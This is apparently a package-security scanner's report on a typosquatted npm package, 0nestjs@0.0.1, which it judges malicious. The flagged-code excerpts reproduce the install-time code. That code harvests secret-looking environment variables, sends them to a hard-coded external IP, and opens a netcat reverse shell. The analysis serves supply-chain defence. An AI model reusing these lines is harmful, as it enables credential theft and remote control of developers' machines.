registry / 0nestjs / 0.0.1

0nestjs@0.0.1

Typosquat of nestjs

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installation automatically executes code that harvests likely secrets, transmits them to an external host, and opens a shell connection. This is a concrete credential theft and remote-command attack surface.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation runs the postinstall script.

Impact

An attacker-controlled server can receive credentials and obtain shell access under the installing user's permissions.

Mechanism

Environment-secret exfiltration and netcat reverse shell.

Attack narrative

When installed, the postinstall hook runs index.js. It reads the package server configuration, selects environment variables likely to contain credentials, sends them over TCP to 84.32.22.44:9999, and executes netcat with /bin/sh against that server. The package also identifies itself as a nestjs typosquat.

Rationale

This is an automatic install-time credential-exfiltration and reverse-shell chain, not a user-invoked administrative feature. The hard-coded external server and typosquat metadata further support malicious intent.

Evidence

package.jsonindex.jsservers.json

Network endpoints1

84.32.22.44:9999

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest automatically runs index.js after installation.
The install script collects environment variables whose names begin with SECRET, API, TOKEN, or KEY.
Collected values are sent over a TCP connection to a configured external server.
The same install path launches netcat with a shell, creating a reverse shell.
The configured server is 84.32.22.44 on port 9999.
The package describes itself as a typosquat of nestjs.

Evidence against

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystem

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 882 B of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node index.js", "start": "node index.js"

High

Ai Review Evidence

The manifest automatically runs index.js after installation.

package.jsonView on unpkg · L6

index.jsView file

2const os = require('os'); L3: const net = require('net'); L4: const { exec } = require('child_process'); L5: ... L7: try { L8: servers = JSON.parse(fs.readFileSync('./servers.json')); L9: } catch (e) { ... L13: const envs = {}; L14: for (const key of Object.keys(process.env)) { L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key]; ... L23: const client = net.createConnection({ host, port }, () => { L24: client.write(JSON.stringify(envs));

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L2

2Trigger-reachable chain: scripts.postinstall -> index.js L2: const os = require('os'); L3: const net = require('net'); L4: const { exec } = require('child_process'); L5: ... L7: try { L8: servers = JSON.parse(fs.readFileSync('./servers.json')); L9: } catch (e) { ... L13: const envs = {}; L14: for (const key of Object.keys(process.env)) { L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key]; ... L23: const client = net.createConnection({ host, port }, () => { L24: client.write(JSON.stringify(envs));

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L2

3const net = require('net'); L4: const { exec } = require('child_process'); L5:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

2const os = require('os'); L3: const net = require('net'); L4: const { exec } = require('child_process'); L5: ... L13: const envs = {}; L14: for (const key of Object.keys(process.env)) { L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L2

13const envs = {}; for (const key of Object.keys(process.env)) { if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key]; }

High

Ai Review Evidence

The install script collects environment variables whose names begin with SECRET, API, TOKEN, or KEY.

index.jsView on unpkg · L13

23const client = net.createConnection({ host, port }, () => { client.write(JSON.stringify(envs)); client.end(); }); exec(`nc -e /bin/sh ${host} ${port}`, () => {});

High

Ai Review Evidence

Collected values are sent over a TCP connection to a configured external server.

index.jsView on unpkg · L23

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node index.js", "start": "node index.js"

High

Ai Review Evidence

The manifest automatically runs index.js after installation.

package.jsonView on unpkg · L6

index.jsView file

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

Findings

2 Critical6 High2 Medium2 Low

CriticalReverse Shellindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processindex.js

HighSame File Env Network Executionindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem